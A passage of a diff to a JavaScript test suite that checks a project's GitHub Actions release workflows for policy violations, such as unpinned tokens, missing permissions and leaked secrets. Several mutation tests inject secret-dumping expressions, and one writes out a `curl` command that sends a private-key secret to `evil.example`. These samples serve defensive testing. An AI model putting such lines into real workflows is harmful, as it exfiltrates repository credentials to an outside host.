validateWorkflows(workflows).join("\n"), + /marketplace-sync\.yml jobs\.sync\.steps\.0 must declare shell: bash/u, + ); + }); + + await t.test("policy refuses an inherited shell", () => { + const workflows = loadWorkflows(); + delete draftStep(workflows.get("marketplace-sync.yml").jobs.sync, marketplaceGuardName).shell; + assert.match( + validateWorkflows(workflows).join("\n"), + /marketplace-sync\.yml jobs\.sync\.steps\.0 must declare shell: bash/u, + ); + }); + + await t.test("the pin covers every run step in the file, not only the guard", () => { + const workflows = loadWorkflows(); + draftStep( + workflows.get("marketplace-sync.yml").jobs.sync, + "Point the catalog at the published release", + ).shell = "sh"; + assert.match( + validateWorkflows(workflows).join("\n"), + /marketplace-sync\.yml jobs\.sync\.steps\.4 must declare shell: bash/u, + ); + }); +}); +test("the plugin lane publishes the catalog it then smoke-installs", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "plugin-release.yml"; + const smokeStep = workflow => + draftStep(workflow.jobs["post-publish-smoke"], "Prove the public marketplace install path"); + const tokenStep = workflow => + draftStep(workflow.jobs["marketplace-publish"], "Mint a scoped marketplace token"); + const catalogStep = workflow => + draftStep(workflow.jobs["marketplace-publish"], "Point the catalog at the published release"); const mutations = [ - ["job name", job => { job.name = "Draft source"; }], - ["runner", job => { job["runs-on"] = "ubuntu-24.04"; }], - ["timeout", job => { job["timeout-minutes"] = 60; }], - ["if", job => { job.if = "always()"; }], - ["needs", job => { job.needs = ["untrusted"]; }], - ["permissions", job => { job.permissions = { contents: "write" }; }], - ["continue-on-error", job => { job["continue-on-error"] = true; }], - ["strategy", job => { job.strategy = { matrix: { shard: [1, 2] } }; }], - ["env", job => { job.env = { RUSTFLAGS: "-Awarnings" }; }], - ["defaults", job => { job.defaults = { run: { shell: "bash" } }; }], - ["environment", job => { job.environment = "release"; }], - ["container", job => { job.container = "ubuntu:latest"; }], - ["services", job => { job.services = { cache: { image: "redis" } }; }], - ["outputs", job => { job.outputs = { result: "${{ steps.proof.outputs.result }}" }; }], + ["smoke installs the revision preflight saw before publication", workflow => { + workflow.jobs.preflight.outputs.marketplace_revision + = "${{ steps.marketplace.outputs.marketplace_revision }}"; + smokeStep(workflow).env.MARKETPLACE_REVISION + = "${{ needs.preflight.outputs.marketplace_revision }}"; + }, /post-publish smoke must install from the marketplace revision this release published/u], + ["preflight resurrects a pre-publication revision", workflow => { + workflow.jobs.preflight.outputs.marketplace_revision + = "${{ steps.marketplace.outputs.marketplace_revision }}"; + }, /preflight must not capture a marketplace revision that predates publication/u], + ["catalog publication is dropped from the lane", workflow => { + delete workflow.jobs["marketplace-publish"]; + workflow.jobs["post-publish-smoke"].needs = ["preflight", "publish"]; + }, /must keep exactly the plugin lane the release claim graph declares/u], + ["smoke stops waiting on catalog publication", workflow => { + workflow.jobs["post-publish-smoke"].needs = ["preflight", "publish"]; + }, /post-publish-smoke dependencies must match the release claim graph/u], + ["catalog publication races the release it advertises", workflow => { + workflow.jobs["marketplace-publish"].needs = ["preflight"]; + }, /marketplace-publish dependencies must match the release claim graph/u], + ["catalog publication loses its credential environment", workflow => { + delete workflow.jobs["marketplace-publish"].environment; + }, /marketplace publication must hold its cross-repository credential in its own environment/u], + ["the marketplace token is unpinned", workflow => { + tokenStep(workflow).uses = "actions/create-github-app-token@v1"; + }, /marketplace token must be a SHA-pinned app token scoped to the marketplace repository/u], + ["the marketplace token widens beyond the catalog repository", workflow => { + tokenStep(workflow).with.repositories = "CodeStory"; + }, /marketplace token must be a SHA-pinned app token scoped to the marketplace repository/u], + ["the catalog is pointed at an unbound version", workflow => { + const step = catalogStep(workflow); + step.run = step.run.replace('--version "$INPUT_VERSION"', '--version "$LATEST"'); + }, /Point the catalog at the published release must run --version/u], + // Routing the version through `env:` moves it out of the script's text, so the script's own + // fragment can no longer see which value it carries. Rebinding the variable is the same + // substitution the mutation above makes, one layer down. + ["the catalog's version variable is rebound to another value", workflow => { + catalogStep(workflow).env.INPUT_VERSION = "${{ github.ref_name }}"; + }, /Point the catalog at the published release must bind INPUT_VERSION/u], + ["catalog publication hides the delivery state it recorded", workflow => { + delete workflow.jobs["marketplace-publish"].outputs; + }, /marketplace publication must publish the recorded delivery state/u], ]; - - for (const [name, mutate] of mutations) { + for (const [name, mutate, expected] of mutations) { await t.test(name, () => { - const candidate = draftSourceJob(); - mutate(candidate); - assert.notDeepEqual(draftSourcePolicyViolations(candidate, retrievalSourceJob()), []); + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); }); } }); -test("draft source steps reject checkout and proof bypass mutations", async (t) => { - const checkout = job => job.steps[0]; - const proof = job => draftStep(job, "Prove focused publication contracts"); +// The lane's advertised security property is that it receives and forwards no secrets, and the +// marketplace token step is the single sanctioned exception. `secrets.NAME` is only one of the +// ways a GitHub expression reaches that context, so a suite that only mutates the dot form proves +// nothing: every shape below is valid GitHub and must trip the rule, or the exemption is a hole. +test("the plugin lane's secret containment holds for every way of naming the context", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "plugin-release.yml"; + const forbidden = /must not receive or forward secrets beyond the minted marketplace app identity/u; + const marketplaceJob = workflow => workflow.jobs["marketplace-publish"]; + const smokeStep = workflow => + draftStep(workflow.jobs["post-publish-smoke"], "Prove the public marketplace install path"); + const tokenStep = workflow => draftStep(marketplaceJob(workflow), "Mint a scoped marketplace token"); + const catalogStep = workflow => + draftStep(marketplaceJob(workflow), "Point the catalog at the published release"); const mutations = [ - ["checkout ref", job => { checkout(job).with = { ref: "refs/heads/main" }; }], - ["checkout persisted credentials", job => { - checkout(job).with = { "persist-credentials": true }; + ["a secret leaks outside the token step", workflow => { + catalogStep(workflow).env.APP_ID = "${{ secrets.MARKETPLACE_APP_ID }}"; }], - ["checkout if", job => { checkout(job).if = "always()"; }], - ["checkout continue-on-error", job => { checkout(job)["continue-on-error"] = true; }], - ["checkout env", job => { checkout(job).env = { GH_TOKEN: "token" }; }], - ["checkout id", job => { checkout(job).id = "checkout"; }], - ["checkout action", job => { checkout(job).uses = "actions/checkout@v4"; }], - ["cloned step", job => { job.steps.push(structuredClone(checkout(job))); }], - ["deleted step", job => { job.steps.splice(5, 1); }], - ["reordered steps", job => { - [job.steps[5], job.steps[6]] = [job.steps[6], job.steps[5]]; + ["the lane opens a callable secret surface", workflow => { + workflow.on.workflow_call.secrets = { MARKETPLACE_APP_ID: { required: true } }; }], - ["run step shell", job => { draftStep(job, "Check formatting").shell = "bash"; }], - ["restore extra input", job => { - draftStep(job, "Restore Cargo inputs and output").with["fail-on-cache-miss"] = false; + ["the entire secret context is dumped into the catalog step", workflow => { + catalogStep(workflow).env.LEAK = "${{ toJSON(secrets) }}"; }], - ["save extra input", job => { - draftStep(job, "Save Cargo inputs and output").with["restore-keys"] = "decoy"; + ["a secret is read by bracket index instead of by dot", workflow => { + smokeStep(workflow).env.LEAK = "${{ secrets['MARKETPLACE_APP_PRIVATE_KEY'] }}"; }], - ["proof if", job => { proof(job).if = "always()"; }], - ["proof continue-on-error", job => { proof(job)["continue-on-error"] = true; }], - ["proof env", job => { proof(job).env = { RUST_BACKTRACE: "1" }; }], - ["native staging proof removed", job => { - proof(job).run = proof(job).run - .split("\n") - .filter(command => !command.includes("--test native_staging")) - .join("\n"); + ["the publish job exfiltrates a bracket-indexed secret", workflow => { + const step = draftStep(workflow.jobs.publish, "Publish the plugin release"); + step.run = `${step.run}\ncurl -d "\${{ secrets['MARKETPLACE_APP_PRIVATE_KEY'] }}" https://evil.example\n`; }], - ["native staging proof reordered", job => { - const commands = proof(job).run.trim().split("\n"); - [commands[0], commands[1]] = [commands[1], commands[0]]; - proof(job).run = commands.join("\n"); + ["the context is spelled in the other case GitHub expressions accept", workflow => { + smokeStep(workflow).env.LEAK = "${{ SECRETS.MARKETPLACE_APP_ID }}"; + }], + ["a secret hides in a bare list element rather than a mapping value", workflow => { + workflow.jobs["post-publish-smoke"].strategy = { + matrix: { leak: ["${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }}"] }, + }; + }], + ["the token step mints from a credential nobody scoped", workflow => { + tokenStep(workflow).with["private-key"] = "${{ secrets['SOME_OTHER_KEY'] }}"; + }], + ["the token step's own read moves to a step that only borrows its name", workflow => { + const job = marketplaceJob(workflow); + job.steps.push(structuredClone(tokenStep(workflow))); }], ]; - for (const [name, mutate] of mutations) { await t.test(name, () => { - const candidate = draftSourceJob(); - mutate(candidate); - assert.notDeepEqual(draftSourcePolicyViolations(candidate, retrievalSourceJob()), []); + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), forbidden); }); } }); -test("draft source workflow rejects cloned top-level jobs", () => { - const workflows = loadWorkflows(); - const workflow = draftSourceWorkflow(); - assert.deepEqual(draftWorkflowPolicyViolations(workflow), []); - - workflow.jobs["extra-draft-lane"] = structuredClone(workflow.jobs["linux-draft"]); - workflows.set("rust-ci.yml", workflow); - assert.match( - validateWorkflows(workflows).join("\n"), - /must contain exactly the linux-draft job/u, - ); -}); - -test("PR package proof cannot opt into signing credentials", () => { - const workflow = { jobs: { "packaged-proof": { with: { sign_macos: false } } } }; - assert.deepEqual(packagedPrSigningViolations(workflow), []); - - for (const mutate of [ - candidate => { candidate.jobs["packaged-proof"].with.sign_macos = true; }, - candidate => { candidate.jobs["packaged-proof"].secrets = "inherit"; }, - candidate => { candidate.jobs["packaged-proof"].environment = "macos-release-signing"; }, - candidate => { candidate.env = { APPLE_NOTARY_KEY_ID: "forbidden" }; }, - ]) { - const candidate = structuredClone(workflow); - mutate(candidate); - assert.notDeepEqual(packagedPrSigningViolations(candidate), []); - } -}); - -test("release approval crosses only the protected release boundary", () => { - const boundary = releaseEvidenceApprovalBoundary(); - assert.deepEqual(releaseEvidenceApprovalViolations(boundary.callers, boundary.called), []); - - for (const mutate of [ - candidate => { candidate.callers[0][1] = undefined; }, - candidate => { candidate.callers[1][1].uses = "./.github/workflows/release.yml"; }, - candidate => { delete candidate.callers[1][1].with.source_run_id; }, - candidate => { delete candidate.callers[0][1].secrets; }, - candidate => { - candidate.callers[0][1].secrets.CODESTORY_RELEASE_EVIDENCE_APPROVAL_JSON - = "${{ secrets.WRONG_SECRET }}"; - }, - candidate => { candidate.callers[0][1].secrets.EXTRA_SECRET = "${{ secrets.EXTRA }}"; }, - candidate => { candidate.callers[0][1].secrets = "inherit"; }, - candidate => { candidate.callers[1][1].secrets = "inherit"; }, - candidate => { delete candidate.called.on.workflow_call.secrets; }, - candidate => { - candidate.called.on.workflow_call.secrets - .CODESTORY_RELEASE_EVIDENCE_APPROVAL_JSON.required = true; - }, - candidate => { candidate.called.jobs.measure.environment = "release"; }, - candidate => { - candidate.called.jobs.measure.steps[0].env.APPROVAL_JSON - = "${{ inputs.CODESTORY_RELEASE_EVIDENCE_APPROVAL_JSON }}"; - }, - candidate => { candidate.called.jobs.measure.steps[0].run = "exit 1"; }, - ]) { - const candidate = structuredClone(boundary); - mutate(candidate); - assert.notDeepEqual(releaseEvidenceApprovalViolations(candidate.callers, candidate.called), []); - } -}); - -test("notarization must use explicit polling", () => { - assert.deepEqual(notaryStepViolations({ run: "xcrun notarytool submit bundle.zip \\\n --no-wait" }), []); - assert.match( - notaryStepViolations({ run: "xcrun notarytool submit bundle.zip \\\n --wait" }).join("\n"), - /poll explicitly/u, - ); -}); - -test("bare macOS CLI proof uses quarantine execution instead of app assessment", () => { - const assessment = { - run: [ - "xattr -w com.apple.quarantine quarantine codestory-cli", - "xattr -p com.apple.quarantine codestory-cli > quarantine.txt", - "spctl --assess --type execute --verbose=4 codestory-cli > spctl-diagnostic.txt 2>&1", - "spctl_status=$?", - "grep -F 'does not seem to be an app' spctl-diagnostic.txt", - ].join("\n"), - }; - const execution = { run: "codestory-cli --version\ncodestory-cli --help" }; - assert.deepEqual(macosCliDistributionViolations(assessment, execution, "codestory-cli"), []); - - for (const mutate of [ - candidate => { candidate.assessment.run = candidate.assessment.run.replace("xattr -w com.apple.quarantine quarantine codestory-cli", "true"); }, - candidate => { candidate.assessment.run += "\naccepted=false"; }, - candidate => { candidate.assessment.run = candidate.assessment.run.replace("spctl_status=$?", "true"); }, - candidate => { candidate.execution.run = "original-cli --version\noriginal-cli --help"; }, - ]) { - const candidate = { assessment: structuredClone(assessment), execution: structuredClone(execution) }; - mutate(candidate); - assert.notDeepEqual(macosCliDistributionViolations(candidate.assessment, candidate.execution, "codestory-cli"), []); - } -}); - -test("controlled semantic workflow fixtures emit class-prefixed diagnostics", async (t) => { - const fixture = JSON.parse(readFileSync(path.join( - root, - ".github/scripts/fixtures/workflow-policy-invalid.json", - ), "utf8")); - assert.deepEqual(releaseWorkflowContractViolations(loadWorkflows()), []); - for (const fixtureCase of fixture.cases) { - await t.test(fixtureCase.id, () => { - const workflows = loadWorkflows(); - const workflow = workflows.get(fixtureCase.workflow); - let target = fixtureCase.job ? workflow.jobs[fixtureCase.job] : workflow; - if (fixtureCase.step) { - target = target.steps.find(({ name }) => name === fixtureCase.step); - assert.ok(target, `missing step ${fixtureCase.step}`); - } - const field = [...fixtureCase.field]; - const key = field.pop(); - for (const segment of field) target = target[segment]; - if (fixtureCase.op === "delete") delete target[key]; - else target[key] = structuredClone(fixtureCase.value); - const violations = releaseWorkflowContractViolations(workflows); - assert.ok( - violations.some((message) => message.startsWith(fixtureCase.class_prefix)), - violations.join("\n"), +test("the plugin lane still forbids building, signing, and forwarded secrets", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const mutations = [ + ["auto-release forwards secrets to the plugin lane", workflows => { + workflows.get("auto-release.yml").jobs["plugin-release"].secrets = "inherit"; + }, /auto-release\.yml must route the plugin lane without forwarding secrets/u], + ["the plugin lane reaches for Apple signing material", workflows => { + draftStep( + workflows.get("plugin-release.yml").jobs["marketplace-publish"], + "Point the catalog at the published release", + ).env.APPLE_ID = "signing@example.com"; + }, /must never reference Apple signing material/u], + ["the plugin lane builds native code", workflows => { + const step = draftStep( + workflows.get("plugin-release.yml").jobs["plugin-proof"], + "Provision the pinned CLI end to end", ); + step.run = `${step.run}\ncargo build --locked -p codestory-cli\n`; + }, /must not build native code/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); }); } }); -test("release policy rejects manifest producer, trusted-map, and publication bypasses", () => { +test("every lane that reads job annotations holds the checks: read scope", async (t) => { + // The recovery path was inert in production because none of the three permission blocks that + // govern the annotations call granted `checks: read`. The live repository now does, in all three + // -- including auto-release.yml, the lane that actually publishes. + const workflows = loadWorkflows(); + assert.deepEqual(annotationScopeViolations(workflows), []); + assert.equal(workflows.get("release.yml").permissions.checks, "read"); + assert.equal(workflows.get("lost-runner-rerun.yml").permissions.checks, "read"); + assert.equal(workflows.get("auto-release.yml").jobs.release.permissions.checks, "read"); + const mutations = [ - ["call expected head", workflows => { delete workflows.get("release.yml").on.workflow_call.inputs.expected_head_sha; }], - ["call publication default", workflows => { workflows.get("release.yml").on.workflow_call.inputs.publish_release.default = true; }], - ["manual expected head", workflows => { workflows.get("release.yml").on.workflow_dispatch.inputs.expected_head_sha.required = false; }], - ["manual publication authority", workflows => { - workflows.get("release.yml").on.workflow_dispatch.inputs.publish_release = { - required: false, - type: "boolean", - default: false, + ["release.yml loses the scope", live => { + delete live.get("release.yml").permissions.checks; + }, /release\.yml job accelerator-non-claim .*checks: read/u], + ["auto-release.yml loses the scope", live => { + delete live.get("auto-release.yml").jobs.release.permissions.checks; + }, /auto-release\.yml job release .*checks: read/u], + ["lost-runner-rerun.yml loses the scope", live => { + delete live.get("lost-runner-rerun.yml").permissions.checks; + }, /lost-runner-rerun\.yml job rerun-lost-jobs .*checks: read/u], + // A job-level block replaces the workflow-level one, so a narrower job grant is a real loss. + ["a job-level block drops the scope", live => { + live.get("release.yml").jobs["accelerator-non-claim"].permissions = { + actions: "read", + contents: "read", }; + }, /release\.yml job accelerator-non-claim .*checks: read/u], + ["write is not read", live => { + live.get("release.yml").permissions.checks = "write"; + }, /release\.yml job accelerator-non-claim .*checks: read/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const live = loadWorkflows(); + mutate(live); + const violations = annotationScopeViolations(live); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + // The whole gate must refuse too, not only the isolated predicate. + assert.notDeepEqual(validateWorkflows(live), []); + }); + } +}); + +test("the closeout collects the lost-runner evidence itself and publishes from the ledger", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const mutations = [ + // The trust boundary that decides proof-versus-non-claim must not inherit the producer's + // verdict, so the closeout's own producer-map call carries evidence it collected. + ["pre-publish closeout stops collecting its own evidence", live => { + const step = live.get("release.yml").jobs["pre-publish-closeout"].steps + .find(({ name }) => name === "Authenticate pre-publish Actions provenance"); + step.run = step.run + .replace(/\s*bash \.github\/scripts\/collect-actions-job-evidence\.sh[^\n]*\n[^\n]*\n/u, "\n") + .replace(/\s*--job-evidence [^\n]*\n/u, "\n"); + }, /must contain --job-evidence|collect-actions-job-evidence/u], + ["post-publish closeout stops collecting its own evidence", live => { + const step = live.get("release.yml").jobs["post-publish-closeout"].steps + .find(({ name }) => name === "Authenticate post-publish Actions provenance"); + step.run = step.run.replace(/\s*--job-evidence [^\n]*\n/u, "\n"); + }, /--job-evidence/u], + // Release notes rendered from the static graph are how a withheld accelerator was still + // announced as supported. + ["release notes rendered without the ledger", live => { + const step = live.get("release.yml").jobs.publish.steps + .find(({ name }) => name === "Compose versioned GitHub release notes"); + step.run = step.run.replace(/ \\\n\s*--ledger [^\n]*/u, ""); + }, /--ledger target\/release-closeout\/pre_publish\/ledger\.json/u], + ["the accepted ledger is never downloaded", live => { + const job = live.get("release.yml").jobs.publish; + job.steps = job.steps.filter(({ name }) => name !== "Download the accepted pre-publish closeout"); + }, /Download the accepted pre-publish closeout/u], + // The ledger the README points readers at has to reach a release consumer. + ["the closeout summary stops shipping", live => { + const job = live.get("release.yml").jobs.publish; + job.steps = job.steps + .filter(({ name }) => name !== "Ship the accepted closeout summary with the release"); + }, /Ship the accepted closeout summary with the release/u], + ["a rejected closeout is shipped anyway", live => { + const step = live.get("release.yml").jobs.publish.steps + .find(({ name }) => name === "Ship the accepted closeout summary with the release"); + step.run = step.run.replace(/\s*test "\$\(jq -r \.decision "\$summary"\)" = accept\n/u, "\n"); + }, /= accept/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const live = loadWorkflows(); + mutate(live); + const violations = validateWorkflows(live); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + }); + } +}); + +test("lost-runner recovery stays automatic, bounded, and blind to job names", () => { + const graph = loadReleaseClaimGraph(root); + const rerunFile = "lost-runner-rerun.yml"; + + // Both halves agree on the same live repository shape today. + assert.deepEqual(lostRunnerRecoveryViolations(loadWorkflows(), graph), []); + assert.equal(MAXIMUM_RUN_ATTEMPTS, graph.non_claim_policy.maximum_run_attempts); + assert.equal(LOST_RUNNER_ANNOTATION, graph.non_claim_policy.annotation); + + const mutations = [ + // Recovery that waits on a human is the failure this workflow exists to remove. + ["approval-gated rerun", workflows => { + workflows.get(rerunFile).jobs["rerun-lost-jobs"].environment = "release-recovery"; }], - ["release authority guard", workflows => { - const step = workflows.get("release.yml").jobs.preflight.steps - .find(({ name }) => name === "Validate release authority"); - step.run = step.run.replace("dev/codestory-next moved from proved head", "dev head changed"); - }], - ["automatic caller event", workflows => { - const step = workflows.get("release.yml").jobs.preflight.steps - .find(({ name }) => name === "Validate release authority"); - step.run = step.run.replace('"$GITHUB_EVENT_NAME" != "push"', '"$GITHUB_EVENT_NAME" != "workflow_call"'); - }], - ["accepted dev ledger revalidation", workflows => { - workflows.get("release.yml").jobs["pre-publish-closeout"].steps = workflows - .get("release.yml").jobs["pre-publish-closeout"].steps - .filter(({ name }) => name !== "Revalidate proof-only dev head"); - }], - ["publish-time main revalidation", workflows => { - const step = workflows.get("release.yml").jobs.publish.steps - .find(({ name }) => name === "Create GitHub release"); - step.run = step.run.replace("main moved from publishable head", "main changed"); + ["approval-gated non-claim", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].environment = "release-recovery"; }], - ["publish authority", workflows => { delete workflows.get("release.yml").jobs.publish.if; }], - ["post-publish smoke authority", workflows => { delete workflows.get("release.yml").jobs["post-publish-smoke"].if; }], - ["post-publish closeout authority", workflows => { delete workflows.get("release.yml").jobs["post-publish-closeout"].if; }], - ["trusted caller opt-in", workflows => { delete workflows.get("auto-release.yml").jobs.release.with.publish_release; }], - ["trusted caller secret handoff", workflows => { delete workflows.get("auto-release.yml").jobs.release.secrets; }], - ["duplicate automatic policy gate", workflows => { - workflows.get("auto-release.yml").jobs["workflow-policy"] = { - "runs-on": "ubuntu-latest", - steps: [], - }; + // Re-running every failed job would sweep an assertion failure along with the lost one. + ["blanket failed-job rerun", workflows => { + const step = workflows.get(rerunFile).jobs["rerun-lost-jobs"].steps + .find(({ name }) => name === "Re-dispatch only the lost jobs"); + step.run = step.run.replace( + "actions/jobs/$job_id/rerun", + "actions/runs/$FAILED_RUN_ID/rerun-failed-jobs", + ); }], - ["duplicate automatic version validation", workflows => { - workflows.get("auto-release.yml").jobs["detect-version"].steps.push({ - name: "Validate synchronized release version", - run: "python .github/scripts/check-codestory-release.py --version 0.16.0", - }); + ["ungated re-dispatch", workflows => { + delete workflows.get(rerunFile).jobs["rerun-lost-jobs"].steps + .find(({ name }) => name === "Re-dispatch only the lost jobs").if; }], - ["manual release source permissions", workflows => { delete workflows.get("release.yml").permissions["pull-requests"]; }], - ["automatic release source permissions", workflows => { delete workflows.get("auto-release.yml").jobs.release.permissions["pull-requests"]; }], - ["rogue release caller", workflows => { - workflows.get("plugin-static.yml").jobs["rogue-release"] = { - uses: "./.github/workflows/release.yml", - }; + ["unclassified re-dispatch", workflows => { + const job = workflows.get(rerunFile).jobs["rerun-lost-jobs"]; + job.steps = job.steps.filter(({ name }) => name !== "Plan the bounded rerun"); }], - ["source emission", workflows => { delete workflows.get("release.yml").jobs["source-proof"].with.emit_release_cells; }], - ["full rerun preflight guard", workflows => { - workflows.get("release.yml").jobs.preflight.steps = workflows - .get("release.yml").jobs.preflight.steps - .filter(({ name }) => name !== "Refuse existing tag or release"); + ["rerun on every conclusion", workflows => { + delete workflows.get(rerunFile).jobs["rerun-lost-jobs"].if; }], - ["public marketplace preflight", workflows => { - workflows.get("release.yml").jobs.preflight.steps = workflows - .get("release.yml").jobs.preflight.steps - .filter(({ name }) => name !== "Prove the public marketplace install path"); + ["missing release observation", workflows => { + workflows.get(rerunFile).on.workflow_run.workflows = ["Auto Release"]; }], - ["post-publish marketplace revision handoff", workflows => { - workflows.get("release.yml").jobs["post-publish-smoke"].with.marketplace_revision = "main"; + ["broadened recovery permissions", workflows => { + workflows.get(rerunFile).permissions.contents = "write"; }], - ["publish replay guard", workflows => { - const step = workflows.get("release.yml").jobs.publish.steps - .find(({ name }) => name === "Refuse existing tag or release"); - step.run = step.run.replaceAll("exit 1", "true"); + // The withheld-claim producer must decide from the classifier, not from a red proof job. + ["unclassified non-claim", workflows => { + const job = workflows.get("release.yml").jobs["accelerator-non-claim"]; + job.steps = job.steps.filter(({ name }) => name !== "Decide withheld accelerator hosts"); }], - ["publish bypass", workflows => { - workflows.get("release.yml").jobs.publish.needs = [ - "preflight", - "packaged-proof", - "macos-metal-proof", - "windows-vulkan-proof", - ]; + ["unconditional non-claim cells", workflows => { + delete workflows.get("release.yml").jobs["accelerator-non-claim"].steps + .find(({ name }) => name === "Record populated accelerator non-claims").if; }], - ["trusted producer map", workflows => { - const step = workflows.get("release.yml").jobs["pre-publish-closeout"].steps - .find(({ name }) => name === "Evaluate authenticated pre-publish closeout"); - step.run = step.run.replace("--trusted-producers", "--self-attested-producers"); + ["non-claim upload for a host that reported", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].steps + .find(({ with: options }) => String(options?.name ?? "") + .startsWith("release-cell-nonclaim-prepublish-linux-x64-vulkan")).if = "always()"; }], - ["flattened current-run JSON", workflows => { - const step = workflows.get("release.yml").jobs["pre-publish-closeout"].steps - .find(({ name }) => name === "Download selected pre-publish release cells"); - delete step.with["artifact-ids"]; - step.with.pattern = "release-cell-prepublish-*"; - step.with["merge-multiple"] = true; + // One container per closeout phase: a phase's producer map authorizes only the manifests it + // selected, so a container carrying another phase's cell is rejected at download time. + ["phase-mixed non-claim container", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].steps + .find(({ with: options }) => String(options?.name ?? "") + .startsWith("release-cell-nonclaim-postpublish-linux-x64-vulkan")) + .with.path = "target/release-non-claim/cells/linux-x64-vulkan"; }], - ["container digest warning accepted", workflows => { - const step = workflows.get("release.yml").jobs["pre-publish-closeout"].steps - .find(({ name }) => name === "Verify selected pre-publish artifact container digests"); - step.run = step.run.replace( - 'test "$actual_digest" = "$expected_digest"', - 'echo "$actual_digest $expected_digest"', + ["closeout ignores the non-claim outcome", workflows => { + const job = workflows.get("release.yml").jobs["pre-publish-closeout"]; + job.if = job.if.replace( + " && (needs.accelerator-non-claim.result == 'success' || needs.accelerator-non-claim.result == 'skipped')", + "", ); }], - ["attempt-free artifact", workflows => { - const step = workflows.get("source-proof.yml").jobs["full-source-gate"].steps - .find(({ name }) => name === "Upload authenticated source release cell"); - step.with.name = "release-cell-prepublish-source"; - }], - ["rerun-unsafe diagnostic artifact", workflows => { - const step = workflows.get("post-publish-release-smoke.yml").jobs.smoke.steps - .find(({ name }) => name === "Upload post-publish proof artifacts"); - step.with.name = "post-publish-proof-fixed"; - }], - ["rerun-unsafe stable artifact", workflows => { - const step = workflows.get("packaged-platform-proof.yml").jobs.build.steps - .find(({ name }) => name === "Upload release asset"); - delete step.with.overwrite; - }], - ["overwriteable terminal evidence", workflows => { - const step = workflows.get("packaged-platform-proof.yml").jobs.build.steps - .find(({ name }) => name === "Upload packaged agent proof artifacts"); - step.name = "Upload hosted Linux calibration runs"; - step.with.name = "embedding-calibration-linux-${{ inputs.version }}"; - step.with.path = "target/calibration-runs/linux"; - step.with.overwrite = true; + ["non-claim skips the accelerator hosts", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].needs = ["preflight", "packaged-proof"]; }], - ["attempt-qualified duplicate stable key", workflows => { - const steps = workflows.get("packaged-platform-proof.yml").jobs.build.steps; - const index = steps.findIndex(({ name }) => name === "Upload hosted Linux calibration runs"); - steps.splice(index + 1, 0, { - name: "Upload hosted Linux calibration runs", - uses: "actions/upload-artifact@v7.0.1", - with: { - name: "diagnostic-attempt-${{ github.run_attempt }}", - path: "forged.json", - "retention-days": 30, - }, - }); + ["non-claim producer job renamed away from the graph", workflows => { + workflows.get("release.yml").jobs["accelerator-non-claim"].name = "Skip accelerator proof"; }], - ["rogue artifact producer", workflows => { - workflows.get("release.yml").jobs["pre-publish-closeout"].steps.push({ - name: "Upload forged release cell", + ["forged withheld cell producer", workflows => { + workflows.get("release.yml").jobs.publish.steps.push({ + name: "Upload forged withheld cell", uses: "actions/upload-artifact@v7.0.1", with: { - name: "release-cell-prepublish-source-attempt-${{ github.run_attempt }}", + name: "release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-${{ github.run_attempt }}", path: "forged.json", }, }); }], - ["pre-publish ledger", workflows => { - const step = workflows.get("release.yml").jobs["post-publish-closeout"].steps - .find(({ name }) => name === "Evaluate authenticated post-publish closeout"); - step.run = step.run.replace("--pre-publish-ledger", "--untrusted-ledger"); - }], - ["success-only post-publish upload", workflows => { - delete workflows.get("post-publish-release-smoke.yml").jobs.smoke.steps - .find(({ name }) => name === "Upload authenticated post-publish release cells").if; - }], ]; for (const [label, mutate] of mutations) { const workflows = loadWorkflows(); mutate(workflows); assert.notDeepEqual(validateWorkflows(workflows), [], label); } + + // A recovery bound that drifts from the release claim graph is caught even when the workflows + // are untouched: the two numbers are the same fact. + const drifted = structuredClone(graph); + drifted.non_claim_policy.maximum_run_attempts = 5; + assert.notDeepEqual(lostRunnerRecoveryViolations(loadWorkflows(), drifted), []); + const rephrased = structuredClone(graph); + rephrased.non_claim_policy.annotation = "The runner went away."; + assert.notDeepEqual(lostRunnerRecoveryViolations(loadWorkflows(), rephrased), []); +}); + +// Catalog publication is delivery, not a release gate. Relaxing a gate is exactly where a vacuous +// pass gets built by accident, so these tests attack the three shapes that would produce one: a +// claim that becomes true on its own, a smoke that passes because it stopped checking anything, +// and a retry that hides which failure actually happened. +function runStepBash(run, environment) { + const directory = mkdtempSync(path.join(os.tmpdir(), "codestory-catalog-delivery-")); + const output = path.join(directory, "github-output"); + const summary = path.join(directory, "github-step-summary"); + writeFileSync(output, ""); + writeFileSync(summary, ""); + const executable = process.platform === "win32" ? "wsl.exe" : "bash"; + const args = process.platform === "win32" + ? ["--exec", "/bin/bash", "-c", run] + : ["-c", run]; + const result = spawnSync(executable, args, { + cwd: root, + encoding: "utf8", + env: { + ...process.env, + GITHUB_OUTPUT: output, + GITHUB_STEP_SUMMARY: summary, + GITHUB_WORKSPACE: root, + RUNNER_TEMP: directory, + ...environment, + }, + }); + const outputs = Object.fromEntries( + readFileSync(output, "utf8") + .split(/\r?\n/u) + .filter(line => line.includes("=")) + .map(line => [line.slice(0, line.indexOf("=")), line.slice(line.indexOf("=") + 1)]), + ); + return { ...result, outputs, summary: readFileSync(summary, "utf8") }; +} + +// Both lanes tag irreversibly and then point the catalog at what they published, so both are +// exercised here rather than only the one the issue named. +const catalogOutcomeLanes = [ + ["release.yml", 